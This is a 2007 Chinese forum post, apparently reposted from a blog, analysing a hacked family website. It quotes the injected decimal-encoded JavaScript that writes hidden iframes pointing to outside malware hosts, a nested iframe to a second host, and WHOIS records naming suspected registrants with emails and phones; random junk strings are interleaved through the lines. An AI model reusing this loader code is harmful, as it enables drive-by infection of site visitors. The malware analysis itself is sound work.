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[原创]一篇刚写的分析木马手记

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首发在我的博客里面, 6&$z!60  
K, ?M5n '  
http://www.areway.cn/?p=175 !|!:MYn  
@H1pPr  
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周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: >umcpkp- h  
          n]6xrsE  
<script>t=’60,105,102,114,97,109,101, -Ufd+(   
32,115,114,99,61,104,116,116,112,58,47,47, t 0nGZ%`  
102,114,101,101,46,117,45,117,117,117,46,99, L8/o9N1  
110,47,101,114,114,111,114,46,104,116,109, j}#48{  
32,119,105,100,116,104,61,49,48,48,32,104, 3Ki`W!C  
101,105,103,104,116,61,48,62,60,47,105,102, i1\xZ<|0  
114,97,109,101,62′; |Tf}8e  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> Yf7n0Etd,  
                                                                                                  T"dX)~E;  
<script>t=’60,105,102,114,97,109,101,32,115, +:mj]`=  
114,99,61,104,116,116,112,58,47,47,102,114, bX=ht^e [  
101,101,46,117,45,117,117,117,46,99,110,47, eIg ' !8h?  
101,114,114,111,114,46,104,116,109,32,119, !+JSguy  
105,100,116,104,61,49,48,48,32,104,101,105, %* vYX0W"  
103,104,116,61,48,62,60,47,105,102,114,97, c^Rz?2x  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); ^md7ezXL  
document.write(t);</script> @X\Sh>H  
                                                                                                  P\*-n"  
<html xmlns=” \*v}IO>2})  
http://www.w3.org/1999/xhtml S2;{)"mS  
“> ,BOB &u  
<head> CZxQz  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> J0C<Qb[  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> }\OLBg/  
<title>首页 - 爱生活家庭网 +m Mn1&  
                                                                                                                                                    e7>)Z  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 4YXtl +G  
转换字符串后的大概内容是(谁点击后果自付): xJJlVP  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… y? )v-YGu  
                                                                                                                                  mQ('X~l  
查询玉米u-uuu.cn的详细信息: t`Mm  
Domain Name: u-uuu.cn TB*g$ *  
ROID: 20070901s10001s64972306-cn )PB&w%J  
Domain Status: ok {KdC5 1"Nv  
Registrant Organization: 王雷 QE=Cum  
Registrant Name: 王雷 *{)[:;  
Administrative Email: czlovexs@126.com E)NH6 ~  
Sponsoring Registrar: 北京万网志成科技有限公司 /n/U)!tp  
Name Server:ns.yovole.com W6E9  
Name Server:ns1.yovole.com f(|qE(  
Registration Date: 2007-09-01 17:54 0{gvd"q  
Expiration Date: 2008-09-01 17:54 MS_&;2  
最后PING了一下地址 都没有什么…. X+?*Tw!\  
                                                                                                B#B$w_z  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. F, %qG,  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> zTAt% w5  
<script language=”javascript” src=” `a3q)}*Y  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script %*oz~,i  
> F2AM/m^!q  
这个玉米应该有可能是木马作者的: {ylc 2 1  
foafau.info的详细信息: Iwize,J~X  
Access to INFO WHOIS information is provided to assist persons in 9K Ih}Q@P  
determining the contents of a domain name registration record in the pvDr&n9  
Afilias registry database. The data in this record is provided by HJ !)D~M{  
Afilias Limited for informational purposes only, and Afilias does not zVGjXuNa  
guarantee its accuracy.  This service is intended only for query-based 42Tjbten_u  
access. You agree that you will use this data only for lawful purposes ]Qkto4DQ5  
and that, under no circumstances will you use this data to: (a) allow, !5? #^q  
enable, or otherwise support the transmission by e-mail, telephone, or nyw,Fu  
facsimile of mass unsolicited, commercial advertising or solicitations Zo-E0[9  
to entities other than the data recipient’s own existing customers; or ^.nvX{H8~=  
(b) enable high volume, automated, electronic processes that send 7$8z}2  
queries or data to the systems of Registry Operator, a Registrar, or i"F'n0*L  
Afilias except as reasonably necessary to register domain names or +r2E5s   
modify existing registrations. All rights reserved. Afilias reserves f8lBxK  
the right to modify these terms at any time. By submitting this query, NQ'^ z  
you agree to abide by this policy. B5  C]4  
Domain ID:D22418703-LRMS % 95:yyH 0  
Domain Name:FOAFAU.INFO 3wX{U8mrg  
Created On:20-Nov-2007 16:05:42 UTC =yz#L@\!  
Last Updated On:20-Nov-2007 16:05:44 UTC !jU<(eY  
Expiration Date:20-Nov-2008 16:05:42 UTC (W5E\hjJ  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) 5#80`/w^U  
Status:CLIENT DELETE PROHIBITED jMzHs*:  
Status:CLIENT RENEW PROHIBITED gK-:t  
Status:CLIENT TRANSFER PROHIBITED /21d%T:}  
Status:CLIENT UPDATE PROHIBITED 5l=B,%s  
Status:TRANSFER PROHIBITED 9RE{,mos2v  
Registrant ID:GODA-040110615 "SNsOf  
Registrant Name:liu hong HvKueTQ  
Registrant Organization: XG<^j}H{}  
Registrant Street1:beijing HdJLD+k/  
Registrant Street2: i74^J+xk  
Registrant Street3: wTf0O@``6H  
Registrant City:beijing $Y,,e3R3  
Registrant State/Province: @1*lmFq'kV  
Registrant Postal Code:100000 P>)-uLc~W  
Registrant Country:CN _ZzN}!Mye  
Registrant Phone:+86.860108888777 ,au64sH  
Registrant Phone Ext.: N>/*)Frt  
Registrant FAX: p87s99  
Registrant FAX Ext.: T 2x~fiM  
Registrant Email:bbbshiji@163.com eG"iJ%I  
Admin ID:GODA-240110615 %,K|v  
Admin Name:liu hong V~Tjz%<  
Admin Organization: >-s}1*^=oD  
Admin Street1:beijing j+Y4>fL$  
Admin Street2: Gqk"%irZ  
Admin Street3: 6x]|IWvW  
Admin City:beijing ?uU0NKZA  
Admin State/Province: \S=!la_T@m  
Admin Postal Code:100000 Pl}}!<!<z  
Admin Country:CN mIFS/C  
Admin Phone:+86.860108888777 7v?tSob:b  
Admin Phone Ext.:  ,H1J$=X'  
Admin FAX: i>ORCOOU  
Admin FAX Ext.: UciWrwE  
Admin Email:bbbshiji@163.com CV]PCq!  
Billing ID:GODA-340110615 >:W)9o  
Billing Name:liu hong 8kW9.   
Billing Organization: @tEVgyN  
Billing Street1:beijing E;VBoN [  
Billing Street2: vEtogkFA"  
Billing Street3: qt^%jIv  
Billing City:beijing |GdA0y\v*}  
Billing State/Province: +A~lPXAXW  
Billing Postal Code:100000 Q, #M 0  
Billing Country:CN 'x+0 yd  
Billing Phone:+86.860108888777 Pu/0<Orp7  
Billing Phone Ext.: }td+F&l($V  
Billing FAX: UM|GX  
Billing FAX Ext.: Jgtv ia  
Billing Email:bbbshiji@163.com 2mu~hJ  
Tech ID:GODA-140110615 n\,TW&3  
Tech Name:liu hong wS``Q8K+dM  
Tech Organization: iL|*g3`-f  
Tech Street1:beijing l2VO=RDiW  
Tech Street2: ;cp-jY_U  
Tech Street3: O3bK>9<K  
Tech City:beijing `Jm{K*&8Q  
Tech State/Province: 4 3]6J]!)  
Tech Postal Code:100000 :e+GtN?  
Tech Country:CN hf:n!+,C  
Tech Phone:+86.860108888777 &Ei dc .  
Tech Phone Ext.: k`oXo%  
Tech FAX: B|:{.U@ne  
Tech FAX Ext.: m9#u. Q*  
Tech Email:bbbshiji@163.com g+ 2SB5 2D  
Name Server:NS27.DOMAINCONTROL.COM +bdkqdB9  
Name Server:NS28.DOMAINCONTROL.COM 7c %@2  
Name Server: Q.z2 (&  
Name Server: a P{xMB#1h  
Name Server: }Lb];hww1  
Name Server: Wv=L_E_  
Name Server: Z]w_2- -  
Name Server: I=(O,*+PQ  
Name Server: :6HMb^4  
Name Server: JYv&It  
Name Server: zE<vFP-1v  
Name Server: CvbY2_>Nh  
Name Server: ec=4L@V*  
                                                                                                          HS(<wI  
接着下载每个文件里面的代码: ?ZDx9*f  
一步一步看.. Qbv)(&i# ~  
Z NCq /  
zN2sipJS8  
5VG@Q%  
B@iIj<p~  
#y>oCB`EM  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
级别: 终身会员
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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
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